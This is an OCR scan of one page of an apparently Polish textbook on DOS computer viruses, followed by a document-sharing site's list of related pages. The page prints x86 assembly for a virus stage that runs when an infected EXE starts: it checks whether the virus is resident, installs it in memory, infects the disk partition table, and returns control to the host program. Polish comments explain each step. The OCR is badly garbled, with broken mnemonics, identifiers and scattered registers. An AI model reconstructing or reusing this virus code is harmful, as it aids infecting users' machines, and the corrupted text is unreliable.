PDS059 TIF

PDS059 TIF



59

mov    ax,Q2Qlh

int    13h    ; wezytanie oryginalnej tablicy partycji

; pod adres 0:7000

cali    instalowanie_prserwaiiia_lch ; Pierwsza cze&c

; instalacji wirusa

cali    iu& talowanić_jprserwania_12ti , w systemie operacyjnym

retf    i przekazanie sterowania do oryginalnej

; procedury lądującej system

Uruchamianie się na początku pracy programów

Procedura przechwytująca uruchamianie się plików typu EXE (lub innych programów z ptików z nagłówkami} składa się zasadniczo z trzech etapów:

—    prawdzenie, czy wirus jest już w pamięci

—    jeśli nie, to zainstalowanie go do pamięci

—    oddanie sterowania do właściwego programu, poprzez skok do oryginalnego punktu startu programu, zapamiętanego przez procedurę zarażajacą plik.

W plikach z programami w postaci absolutnej (.COM) pomiędzy drugim a trzecim m etapem wirus musi przywrócić oryginalny początek programu (patrz opis zarażania pliku typu COM)

Przykładowa procedura przechwytująca uruchamianie pflku typu EXE może wyglądać w następujący sposób:

ip_start dw (?)    ; oryginalny punkt startu programu

; zapamiętany przez

cs_start dw (?)    ; procedurę zarazajaca plik

start pliku exe:

push    ds

push    es

mov    ax,hasło

int    2lh

emp    ax/ odzew    ;    sprawdzenie czy wirus jest juz w systemie

je    wlasciwy_start_pliku

xor    ax,ax

mov    es,ax

int    12h

mov    cl,6    ;    ponowne sprawdzenie, czy wirus jest juz

shl    ax,cl    ;    w systemie* Jeśli tak, to segment pro~

emp    es;4ah,ax    ;    cedury obsługi przerwania 12H

;(wektor 0:4AH) jest

je    wlasciwy_.start_pliku ; równy rozmiarowi    pamięci.

cali    przechwyćenie_przerwań    ; instalacja wirusa w ^LISTING

cali    zarazenie_tablicy_partycji ; pamięci i zarażenie

? tablicy partycji,

wlasciwy_s tar t_p liku: mov    cx,cs


mov

mov

mov

pop

pop

mov

add

add

push

push


cx

cs_start

i p__Rhsrh

; Przywrócenie oryginalnych zawartości ; rejestrów DS i ES

oba te rejestry wskazują na segment PSP programu

W rejestrze AX znajduje sie segment punktu startu programu jest on liczony według wzoru segment_PSP + 10H (na PSP) +

+ cs„start, gdzie cs start jest to wartość przesunięcia

conmpnfni PC? - — — - — ^ ■


ds

cx

lOh


retf


skok do oryginalnego punktu startu programu


Wyszukiwarka

Podobne podstrony:
pds059 (2) tif Podstawy konstruowania programów w języku Asembler 59 wym może być też symbol zdefini
PDS058 TIF 58 mov    cx,offset koniec[lOh] cld    ; przekopiowanie wir
174 TIF Znaleziono: mov eax, cch sub eax, ecx Koniec: dec eax }} #pragma warning( default:
assembler?86? 6 52 4. Język asemblerowy mikroprocesorów 8086/8088 MOV AX, DANE 2    
assembler?86? 3 186 7. Wybrane techniki programowania Przykład • •• ASSUME SS:STOS MOV AX, STOS MO
Slajd24 Przykłady adresowania dla rodziny 8086 Adresowanie rejestrowe: mov ax, bx mov ax, cx Adre
PDS057 TIF 57 xor    dx,dx mov    es # dx ; DS = CS , ES = O mov
pds060 (2) tif V 60 Asembler. Poradnik użytkownikaMOV AX, TABLICA1 Segment danych oooo (
PDS061 TIF pop pop pop pop pop pop pop cli jmp ds di si dx cx bx ax cs:far [adres_21h
pds064 (2) tif 64 Asembler. Poradnik użytkownika 64 Asembler. Poradnik użytkownika REP MOVSW M0V AH,
59 (205) i    IWrretivJci. i> K i wu«l-    WrrcMui .-»:n% •W*
093 TIF Tworzenie stałych operatorów 80 kompilowanie kodu Przed class Napis { char & operator[]

więcej podobnych podstron